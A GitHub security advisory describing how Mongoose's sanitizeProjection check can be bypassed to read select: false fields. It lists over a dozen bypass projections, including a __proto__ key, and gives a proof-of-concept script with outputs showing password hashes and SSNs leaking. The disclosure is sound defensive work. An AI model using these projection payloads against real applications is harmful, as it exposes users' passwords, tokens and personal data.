Skip to main content
Menu
Advisories

sanitizeProjection can be bypassed to include fields deselected with select: false

GHSA-XFCM-RMV3-CRMQPublished Updated GitHub

Description

Since Mongoose 8.5.0, the sanitizeProjection option prevents untrusted projections from including fields that the schema deselects with select: false, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return select: false fields even with sanitizeProjection enabled.

Mongoose versions before 8.5.0 do not make sanitizeProjection block including select: false keys - hiding select: false keys was a new feature introduced in Mongoose 8.5.0.

Details

Given:

const User = mongoose.model('User', new Schema({
  name: String,
  password: { type: String, select: false },
  profile: { bio: String, ssn: { type: String, select: false } },
  secrets: { type: Map, of: String, select: false },
  recoveryCodes: { type: [String], select: false },
  tags: [String],
  comments: [{ text: String, secret: { type: String, select: false } }]
}));

each of the following returned select: false data with sanitizeProjection enabled:

ProjectionWhy it got through
select('-name +password')+path was only blocked in inclusive projections
select('-+password')Collapsing - paths turned it into +password
select('+secrets')+path was not blocked for map paths
select({ name: { $concat: ['$password'] } }), select({ name: ['$password'] })Object and array values are aggregation expressions; only string values were sanitized
select({ tags: { $slice: ['$recoveryCodes', 1] } })A two-element $slice with an expression is an aggregation expression
select({ name: { $meta: 'sortKey' } }).sort({ password: 1 }), { $meta: 'indexKey' }$meta returned sort and index key values
select({ name: '$password' }) called before sanitizeProjection(true)String values were only sanitized if the option was set first
select({ profile: { ssn: 1 } }), select({ profile: { bio: '$password' } })Nested sub-projections were not checked
select('profile')Selecting a parent path included its select: false children
select({ 'comments.$': 1 })The positional projection returned the whole array element
select(JSON.parse('{"__proto__":{"password":0}}'))An own __proto__ key re-pointed the projection object's prototype, hiding select: false exclusions
select({ profile: { bio: 0 } })Nested exclusion objects were treated as inclusive, so select: false exclusions were not added
select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })Treated as inclusive, but MongoDB treats it as exclusive
select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })The $elemMatch cast error was swallowed and the whole projection was dropped
schemaLevelProjections(false) with any expression aboveDisabling schema-level projections also disabled sanitizeProjection
User.findOne({ __t: 'Admin' })select: false fields defined only on a discriminator were not excluded, even when the filter selects that discriminator

For example:

await User.findOne().sanitizeProjection(true).select('-name +password');
// { password: '<password hash>', ... }

await User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });
// { name: '<password hash>' }

Nested exclusion objects, $elemMatch combined with an exclusion, $elemMatch cast errors, and discriminator filters also affect queries that do not use sanitizeProjection, because they cause Mongoose to leave out the select: false exclusions it normally adds.

Proof of concept

Requires a MongoDB server on localhost and npm install mongoose@9.12.1 (or any affected version).

const mongoose = require('mongoose');
const { Schema } = mongoose;

(async () => {
  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');

  const User = mongoose.model('User', new Schema({
    name: String,
    password: { type: String, select: false },
    profile: { bio: String, ssn: { type: String, select: false } },
    recoveryCodes: { type: [String], select: false }
  }));
  await User.deleteMany({});
  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });

  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled
  const attacks = [
    '-name +password',
    '-+password',
    { name: { $concat: ['$password'] } },
    { name: ['$password'] },
    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },
    { profile: { ssn: 1 } },
    'profile',
    JSON.parse('{"__proto__":{"password":0}}'),
    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }
  ];
  for (const projection of attacks) {
    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);
    console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));
  }

  await mongoose.disconnect();
})();

Output on an affected version, with _id and __v removed. Every line includes a select: false value:

"-name +password" => {"password":"HASH","profile":{"bio":"hi"}}
"-+password" => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"HASH"}
{"name":["$password"]} => {"name":["HASH"]}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice","profile":["CODE1"]}
{"profile":{"ssn":1}} => {"profile":{"ssn":"123-45-6789"}}
"profile" => {"profile":{"bio":"hi","ssn":"123-45-6789"}}
{"__proto__":{"password":0}} => {"name":"alice","password":"HASH","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => {"name":"alice","password":"HASH","profile":{"bio":"hi","ssn":"123-45-6789"},"recoveryCodes":["CODE1"]}

Output on a patched version. No select: false values are returned, and the last projection rejects:

"-name +password" => {"profile":{"bio":"hi"}}
"-+password" => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"$concat":["$password"]}} => {"name":"alice"}
{"name":["$password"]} => {"name":"alice"}
{"name":1,"profile":{"$slice":["$recoveryCodes",1]}} => {"name":"alice"}
{"profile":{"ssn":1}} => {"name":"alice","profile":{"bio":"hi"}}
"profile" => {"name":"alice","profile":{"bio":"hi"}}
{"__proto__":{"password":0}} => {"name":"alice","profile":{"bio":"hi"}}
{"name":{"x":1,"$elemMatch":{"$eq":"alice"}}} => "Can't use x with String."

Impact

Applications are affected if they pass user-controlled data into select(), find(filter, projection), or the projection option, and rely on sanitizeProjection to keep select: false fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.

Affected versions

References

GitHub · Automattic/mongoose